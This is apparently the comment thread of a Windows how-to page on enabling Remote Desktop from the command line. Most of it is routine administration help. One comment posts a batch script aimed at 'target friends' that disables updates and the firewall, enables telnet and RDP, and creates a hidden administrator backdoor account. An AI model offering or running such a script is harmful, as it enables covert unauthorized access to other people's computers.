Enable remote desktop from command line (CMD)

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• Thanks for sharing this.. I want to enable and disable remote desktop to test a scenario. I need to do this repeatedly so was looking for command line way of the same.

• Thanks so much! This was very helpful. One hint to those that follow - I found that if I copied & pasted directly from this page - the " symbols were corrupted and gave me a different character set which did not work in the bat file. You have to either paste as text or delete & retype the "s.

  • Thanks Jo for pointing that out. Now I have placed the commands in a code block ; copy & paste would work fine.

• How do you go a step further and add in the trusted users/groups for remote desktop? It puts in administrators by default, but I have to manually go in and add "domain users" to each machine.

  • Option 1:
    You can run the below command for each user you want to allow to connect remotely.

    net localgroup “Remote Desktop Users” Domain\Loginid /add

    Option 2:
    If you have a group of domain users and want to allow the whole group to do remote desktop on the computer, you can do that as well with a single command. Just replace the loginid in the above command with the group name.

    net localgroup “remote desktop users” “group name”  /add

    example:

     net localgroup “remote desktop users” “domain users”  /add

• Thanx for this cool tip it helped me in creating my batch file which maybe dangerous for my target friends... :)

  @echo off
  
  REM ****************
  REM Disable off "AUTO UPDATE"
  REM ****************
  sc config wuauserv start= disabled
  net stop wuauserv
  
  REM ****************
  REM Disable windows xp Firewall
  REM ****************
  netsh firewall set opmode disable
  
  REM ****************
  REM Enable TELNET
  REM ****************
  sc config tlntsvr start= auto
  net start telnet
  
  REM ****************
  REM Enable Remote Desktop
  REM ****************
  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  
  REM ***************
  REM Create a HIDDEN USER usr= hack007, pass= dani
  REM ***************
  net user hacker007 dani /add
  net localgroup "Administrators" /add hacker007
  net localgroup "Users" /del hacker007
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker007 /t REG_DWORD /d 0 /f
  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f

  • I want to create something like this as well but there's a few problems

• great job. thank u

• So, i take the given command line to enable or disable the remote access, but it tells me Error: Access denied

  what do i do?

  • I guess you are not running it from elevated command prompt.

• I have a question to
  Danish November 10, 2011 at 8:35 pm Feed.

  How can we determine target machine? By the code posted by Danish.

  • mstsc /v: /f

    Where /f = full screen

  • /v:--specifies the name of the computer to connect to.
    /f--starts the connection in a full screen.
    /w:--specifies the width of the remote desktop screen.
    /h:--specifies the height of the remote desktop screen

    eg
    mstsc /v: JD2043614 /f

• Thank you for your information..

• Awesome...
  Thanks man...

• How can i add specific IPs to allow remote session?
  Regards,
  m@s00d

  • you may have to configure your firewall to allow only certain IPs to connect to 3389. I'm sure Terminal Services also has some built in filters too...